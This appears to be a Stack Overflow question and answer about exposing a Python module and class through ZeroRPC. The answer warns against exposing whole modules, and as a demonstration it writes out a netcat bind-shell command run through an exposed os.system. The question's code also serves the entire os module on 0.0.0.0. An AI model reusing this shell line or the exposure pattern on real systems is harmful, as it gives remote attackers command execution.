Domanda

I'm new with ZeroRPC,

I want to expose a class and a module, so I actually have 2 questions: 1. What is the best way to expose a module? I tried something like:

import zerorpc

server_obj = __import__("os")
s = zerorpc.Server(server_obj)
s.bind("tcp://0.0.0.0:4242")
s.run()
  1. Now, If i want to expose HelloRPC() class as well, how do I do it?

Thanks

È stato utile?

Soluzione

I am against exposing a module directly. It makes it too easy to expose more than what you want (either now or in the future if anything is added in the module).

Additionally, only python type that are "naturally serializable" by msgpack will work in arguments and return type of any functions.

Base on my sole opinion and experience, it is better to create a dedicated class to expose only what you need, with a clean and documented interface.

To answer to your question though: yes, what you did is the correct way to expose a module.

One zerorpc.Server can exposes only one object at a time. You can of course run many zerorpc.Server in the same process (on different ports though):

s1 = zerorpc.Server(objectA)
s1.bind("tcp://0.0.0.0:4242")
s2 = zerorpc.Server(objectB)
s2.bind("tcp://0.0.0.0:8686")

gevent.spawn(s1.run)
s2.run()

Instead of an object, you can provide a dict of functions to expose. With a little bit of introspection, you can do some magic (albeit I do not recommend, since again, you can expose too much things by mistake):

import zerorpc
import os

# extract any public callable.
def extract_all_the_functions(obj, prefix):
  all_the_things = ((k, getattr(obj, k)) for k in dir(obj))
  return { prefix + k: f for k, f in all_the_things
           if not k.startswith('_') and callable(f) }

class MyObject(object):
  def add(self, a, b):
    return a + b

funcs = extract_all_the_functions(os, 'os_')
funcs.update(extract_all_the_functions(MyObject(), 'myobj_'))
s = zerorpc.Server(funcs)
s.bind('tcp://127.0.0.1:4242')
s.run()

Then you can use it and do bad stuff already:

$ zerorpc tcp://127.0.0.1:4242 myobj_add 1 2
connecting to "tcp://127.0.0.1:4242"
'12'

$ zerorpc tcp://127.0.0.1:4242 os_listdir /proc/self/task
connecting to "tcp://127.0.0.1:4242"
['4100', '4106', '4107']

$ zerorpc tcp://127.0.0.1:4242 os_system '(mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 1337 > /tmp/f)&'
# Yeah... exposing too much is quickly dangerous.
Autorizzato sotto: CC-BY-SA insieme a attribuzione
Non affiliato a StackOverflow
scroll top